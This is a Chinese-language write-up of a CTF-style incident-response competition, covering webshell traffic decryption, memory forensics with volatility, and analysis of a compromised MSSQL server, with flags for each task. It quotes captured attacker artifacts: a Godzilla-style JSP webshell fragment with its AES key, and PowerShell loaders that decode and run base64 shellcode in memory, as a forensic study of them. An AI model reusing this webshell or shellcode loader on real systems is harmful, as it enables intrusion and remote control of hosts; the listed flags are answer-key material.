第一届solar应急响应-wp

第一届solar应急响应比赛 复现

日志流量

日志流量1

1
2
3
4
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
flag格式 flag{xxxx}

web目录,存在后门?那就用d盾扫

code是base64编码,怀疑是flag,解码看看

1
f!l^a*g{A7b4_X9zK_2v8N_wL5q4}

日志流量2

1
2
3
4
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
flag格式 flag{xxxx}

题目1是后门嘛,那么密码,加密方式等肯定在里面

1
String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0="; String xc="a2550eeab0724a69"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}

AES加密,密钥也给了a2550eeab0724a69

这里先看流量包。

不出意外这就是我们需要查看的流量了。b.jsp

这里说一下如何判断哥斯拉流量特征:

https://feifeitan.cn/index.php/archives/280/

https://blog.csdn.net/sinat_31884905/article/details/132548617

具体可以看我的笔记。

这里根据Cookie值最后出现了分号可以判断它是哥斯拉流量!!

然后我们需要做的就是解密哥斯拉流量。

发现这个流量的格式是raw的,很混淆,不是标准的base64,那么我们转换到原始数据,直接用cyberchef解密即可。

密钥也有了,设置一下然后再接一个Gunzip即可。

这要翻好久,终于翻到了一个flag.txt,readfile,那么flag可能就在请求包中!

1
flag{sA4hP_89dFh_x09tY_lL4SI4}

日志流量3

1
2
3
4
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。
flag格式 flag{xxxx}

既然是上传文件,那么data肯定是很大的,小的就不用看了,看flag下面那个,有可能就是。

flag.pdf,再转变为ascii看仔细点

1
application/octet-stream

那应该就是上传flag.pdf文件了!接下来我们需要导出它!

导出为pdf文件然后解压即可。

这里有点奇怪,不应该导出为gz然后解压出pdf嘛?但是我直接导出为pdf就行了。。

1
flag{dD7g_jk90_jnVm_aPkcs}

内存取证

签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
题目描述
本题作为签到题,请给出邮服发件顺序。

Received: from mail.da4s8gag.com ([140.143.207.229])
by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
for ; Thu, 17 Oct 2024 11:24:01 +0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;
dkim=none; dmarc=none(permerror) header.from=solar.sec

Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
Date: Thu, 17 Oct 2024 11:24:01 +0800
To: hellosolartest@qq.com

From: 鍏嬪競缃戜俊
Subject:xxxxxxxxxx
Message-Id: <20241017112401.032146@mail.solar.sec>
X-Mailer: QQMail 2.x

XXXXXXXXXX

flag格式为flag{domain1|...|domainN}
1
flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}

内存取证-1

1
2
3
题目文件:SERVER-2008-20241220-162057
请找到rdp连接的跳板地址
flag格式 flag{1.1.1.1}

给了一个raw文件。

内存取证直接拿出我们的volatility

要查看跳板地址,那肯定要看端口使用情况,使用netscan

其他都是0.0.0.0的,看中间这些就行了。

filefox.exe是火狐浏览器的进程,感觉也没必要看,看svchost.exe还有个System还有个spoolsv.exe就行,都试一下。

最后试出来就是这个,其实这里也不用试,rdp嘛也就是远程桌面协议,对应3389端口,看谁连接了我们本地的3389端口即可。那就只有下面这个啦!

1
flag{192.168.60.220}

内存取证-2

1
2
3
题目文件:SERVER-2008-20241220-162057
请找到攻击者下载黑客工具的IP地址
flag格式 flag{1.1.1.1}

既然是下载黑客工具,那么netscan的连接肯定是可以看到的,但我们无法判断是哪个,只能一个一个试,这是一种方法。

还有一种方法,下载黑客工具,那么黑客肯定要执行命令,我们看cmdscan即可。

直接看到了mimikatz,那对应的ip地址就是155.94.204.67啦!

1
flag{155.94.204.67}

内存取证-3

1
2
3
题目文件:SERVER-2008-20241220-162057
攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么
flag格式 flag{xxxx}

看cmdline看到一个pass.txt,有可能就是。同时根据命令执行的顺序,pass.txt应该在桌面上

接下来我们用filescan查看文件

使用 dumpfiles 插件导出

1
2
volatility_2.6_win64_standalone.exe -f H:\应急响应比赛\【题目】小题+综合题\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e4cedd0 -D
./
1
flag{GalaxManager_2012}

内存取证-4

1
2
3
题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户
flag格式 flag{xxxx}

获取注册表中的用户即可,很简单。

1
2
volatility_2.6_win64_standalone.exe -f H:\应急响应比赛\【题目】小题+综合题\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 printkey  -K  "SAM\Domains\Account
\Users\Names"

直接试

1
flag{ASP.NET}

内存取证-5

1
2
3
题目文件:SERVER-2008-20241220-162057
请找到攻击者利用跳板rdp登录的时间
flag格式 flag{2024/01/01 00:00:00}

方法一:

可以找到进程1908,但是这里没有时间。

那么接下来我们看看进程。

PID(Process ID)

  • 定义:PID 是操作系统分配给每个运行中进程的唯一标识符。每个进程在系统中都有一个唯一的 PID,用于标识进程。
  • 作用:PID 用于区分不同的进程,是系统内核跟踪和管理进程的重要方式。每当一个新的进程被创建时,操作系统会为其分配一个唯一的 PID。
  • 示例:如果你通过命令(如 pstop)查看进程列表,你会看到每个进程对应的 PID。比如,PID 为 1234 的进程可能是一个正在运行的程序。

PPID(Parent Process ID)

  • 定义:PPID 是一个进程的父进程的 PID。换句话说,PPID 指的是启动当前进程的进程的标识符。每个进程(除了初始化进程)都有一个父进程。
  • 作用:PPID 显示了当前进程与其父进程的关系。操作系统使用 PPID 来管理进程之间的层级关系,当一个进程退出时,它的子进程可能会被重新分配给另一个父进程(通常是 init 进程)。
  • 示例:假设进程 PID 为 1234 的进程是由 PID 为 5678 的进程启动的,那么进程 1234 的 PPID 就是 5678。

但是这里两个试了都不行

后来才知道

UTC+0000 是一种表示时间偏移量的格式,用于说明某个时间与协调世界时(UTC,Universal Time Coordinated)的关系。

UTC+0000 表示没有时间偏移的协调世界时,常用于不受时区影响的场合。

中国使用的时区是 中国标准时间(CST),也被称为 北京时间。其时区偏移量是 UTC+08:00,也就是说,中国的时间比协调世界时(UTC)快 8 小时。

所以要加8小时

1
flag{2024/12/21 00:15:34}

方法二:

我们在filescan文件中可以找到Windows日志文件Security.evtx,注意大写

security.evtx 是 Windows 操作系统中的一个事件日志文件,主要记录与系统安全相关的事件信息。它是 Windows 日志文件的一部分,用于存储关于用户登录、账户管理、安全审计、系统访问控制等事件的数据。

攻击者利用跳板rdp登录受害机,那么windows日志肯定会有相关记录。

我们把它dump下来

dump下来后缀改成evtx就行,然后放到宝瓜分析!

1
flag{2024/12/21 00:15:34}

内存取证-6

1
2
3
题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户的密码哈希值
flag格式 flag{XXXX}

创建的用户是ASP.NET

1
flag{5ffe97489cbec1e08d0c6339ec39416d}

数据库

这里我们先获取虚拟机administrator用户的密码

数据库-1

1
2
3
题目附件:mssql、mssql题-备份数据库
请找到攻击者创建隐藏账户的时间
flag格式 如 flag{2024/01/01 00:00:00}

给了vmdk和ovf,可以用vmware打开和取证

VMDK 是一种文件后缀,代表 Virtual Machine Disk,是一种虚拟磁盘文件格式。它由 VMware 开发,用于存储虚拟机的硬盘内容

先打开看看,发现需要密码,那么!取证大师!启动!

在 Windows 中,账户名以 $ 结尾的通常表示隐藏的共享或资源。

只有一个test$

1
flag{test$}
1
2024-12-16 15:24:21

密码设置时间很有可能就是创建用户的时间

1
flag{2024/12/16 15:24:21}

不仅取证大师可以发现隐藏用户,这里也可以compmgmt.msc

数据库-2

1
2
3
题目附件:mssql、mssql题-备份数据库
请找到恶意文件的名称
flag格式 如 flag{*.*}

上传火绒剑分析

发现c盘java目录下有一个xmrig.exe,有远程地址和本地地址的连接,猜测是恶意后门文件!

百度一下看看

塌房了!!

1
flag{xmrig.exe}

数据库-3

1
2
3
题目附件:mssql、mssql题-备份数据库
请找到恶意文件的外联地址
flag格式 如 flag{1.1.1.1}

外链地址,简单,上面有了

1
203.107.45.167:3333
1
flag{203.107.45.167}

数据库-4

1
2
3
题目附件:mssql、mssql题-备份数据库
请修复数据库
flag格式 如 flag{xxxxx}

修复数据库???

数据库-5

1
2
3
题目附件:mssql、mssql题-备份数据库
请提交powershell命令中恶意文件的MD5
flag格式 如 flag{xxxxx}

powershell命令,看日志

发现存在大量远程命令执行,我们逐个分析

在后面几个发现了比较特殊的

1
2
3
4
5
6
7
- EventData 

MessageNumber 1
MessageTotal 1
ScriptBlockText function tWk { Param ($k0M, $ybp) $f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp)) } function lVhI5 { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8, [Parameter(Position = 1)] [Type] $nZWM = [Void] ) $p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed') $p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed') return $p8dl.CreateType() } [Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V") [Uint32]$uKrz = 0 $rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04) [System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length) if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) { $yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null }
ScriptBlockId 6272cc91-9ab4-4901-8088-ca946f7ae722
Path

关注此处:

1
[System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
1
2
3
4
5
6
7
8
- EventData 

MessageNumber 1
MessageTotal 1
ScriptBlockText &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sICBPmW2cAA3Rlc3QudHh0ALVXbXOiSBD+7q+gtqwSKkYwcXNuqrbqQFExkpWgGHWtKwIDzDKAC0OU7O1/vx58SVJJdvfuaucLzkx3T8/TT3ePXh47FCcxR2ch963C7cfYTu2I46uhpNe5anG3Fo5bVe9sw33k+KW8XneTyMbx6vKyk6cpiulu3ugjKmcZiu4IRhkvcH9zswCl6PTT3RfkUO4bV/2r0SfJnU32YkXHdgLEncqxy/ZGiWMzpxrmmmDK1z5/rgnL0+aqoX7NbZLxNbPIKIoaLiE1gfsusAMnxRrxNR07aZIlHm3McHx+1pjGme2ha7B2j3REg8TNakLleJcU0TyNyysxGzsJvgY/x2niyK6boiyr1bkls75crf7kl/ujb/KY4gg1tJiiNFmbKL3HDsoaAzt2CbpB3gq0TJri2F8JAojdJyHiq3FOSJ37N2b4a7Q5APerSvxTJZAa01SoQzRfXlNP3JygnWLtFT8ZAQQYexIIle+VinegDLEC7f1L0hznh7EsNxA4y4+TDJe6Hzmpzulwrk2TtIBpdZLmSFgdoeaq9+2rdv0XjTUPmqAXL2Y6LC2tBLuro/6TqFfXbZcwibcZ3EUejlG3iO0IOweS8q/FAnkElXA0DmLX4B5f228gt4sI8m3K4GWUeKGmRpgedZUcExelsgPxzMArCLXw3JldxPiaFusoAuh2c+Bo1YPUQAfpfToUh9PZHIRqHWJnWZ0b55CbTp0zkU2QW+fkOMP7LTmnSfmz9uiunhOKHTujB3Mr4Tma+1M7SZzRNHcgpoDAxFwjB9uEAVLnBthFSmFi/3B67VU4OjYhkDRg6R7CASsMBpMypqTgaMkKoWEiqkVrgiKQKUtFj9g+FIZ9apTUsn3k1l7385ABO7ozXA6APPESgm2ShNY5C6cU6g7DmHHrvzjxouKUznRStA8NX2bWUiko436VThdRydA9PiUaKQUkemkSKXaGLlq74sK/E1XcfT/uJg8yDLV3Y1iKOZ36W4ksiKlRc67i0TQINNzU/MlkMIS1Yqr6Yyqtr8zuQE6728CTtUxTB0phNBXZGeA/rKEynYIe7oyML1tNdpXIv/XnnY02Dm41OKgz8jUfvooWOIq0kHxF0qjWV82R0VGGIG+0mgtNbJNr3SEKfjA1Ux7M2HmGMxh27S2co7Zag9vtRL7Wh3LQ++T2mme9QMWSHJrGwFiE/VFXLecOmxvzTMVqb25YAQJbxsxaKzO1tzCsteafbHzDGomtXqDAuoa3o7Upwmg2h/ex+6CT9oMO7hrWYojRQvNR4cuGLJvzmJh3m44s9z9srnB+rvamsBZOtHhr3K11t5gPxA+WjtE6kQ1VlnsEMjSS7U1XbM6SK8N6b0xVaVtMpe1G/SJuVDzchPvvtH9x4YteayxaphYP7EABf4thK8TDE9iLbEuae6LF8OuEsfgQ35KLoV5iCvcxQAezeNn+DejtdGQaa7eiaPmiL3vE0vy24d8m8Zkdgu2ZL4OHcEeItTfUGO45weH05FZsTsEfKRpuJeZrNGyDvbPwFZtmAPi6C1tWmB/KrJ/Is7B/0SnaYx3uYTXBZmzlk9kAbILPedhmMEM8umYn7pva7Zl7d6OIJ+7c9pWF6Xid9miGrXvReidUllMc0/OzVTW/Sh9YC6hUU/MJzd9qbLqdZoFNgP7Qsg4lqJekvX0nGieYafA8e8SEKI0Rgd4Pr4ND6sqEJA5rgbuWBf131xVZk55qpU+v/RK4o6Dw2BwPS5eXC/ASqkGZrY0Rin0a1KXtuSRBb5O2Ugvy/tev1knWBb+zVWfNEaA52ialbaGCPY7/6dvhf6MFbx8K1fgHeL0FHZwdQvmEcr4ragxAJUnIU/jKex2Z8Aw7AK0JN1+yd0/JETBwir4CCuxt8OSlUS286EL7rczZ1+YAPu5PmfO49oPdX2KTVGf4vFh8vvDY1H7f/Wc2piBoQo8haPfmeQOGfa48iXAZHcgEbz/YP4BPOT29hlcl9Ll/ADmiosV0DAA{0}')-f'A','f','M')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
ScriptBlockId 5ef6ec2a-3ad1-4051-8fba-a804b7bddefb
Path

稍微问一下AI

其实自己也看得出来,其中的关键VirtualProtect,Invoke,kernel32.dll其实可以猜出来,相当于免杀的混淆,base64解码后执行shellcode。

同时也发现了System.IO.Compression.GzipStream

根据时间判断,应该是先gz压缩,再base64

导出看看

导出为bin文件然后丢微步之类的看看。

恶意文件实锤了。

1
flag{d72000ee7388d7d58960db277a91cc40}

综合应急

综合应急-1

1
2
3
题目文件:FOG日志
综合应急-1请点击左上角“CTF”按钮切换为“知识竞赛”进行答题。题目类型为选择题,提交机会只有一次,请慎重提交。
本题 flag答案为flag{solar}

综合应急-2

1
2
3
题目文件:FOG日志
攻击者上传了代理工具,请写出他的最终存放路径
格式为flag{x:\xxxxx\xxxx\xxxxxx}

FOG 是一个用于部署计算机镜像的管理工具,特别是在网络中快速部署操作系统和应用程序。通过 FOG,管理员可以对计算机进行远程安装、恢复和管理。这对于大规模部署、维护和备份计算机非常有用。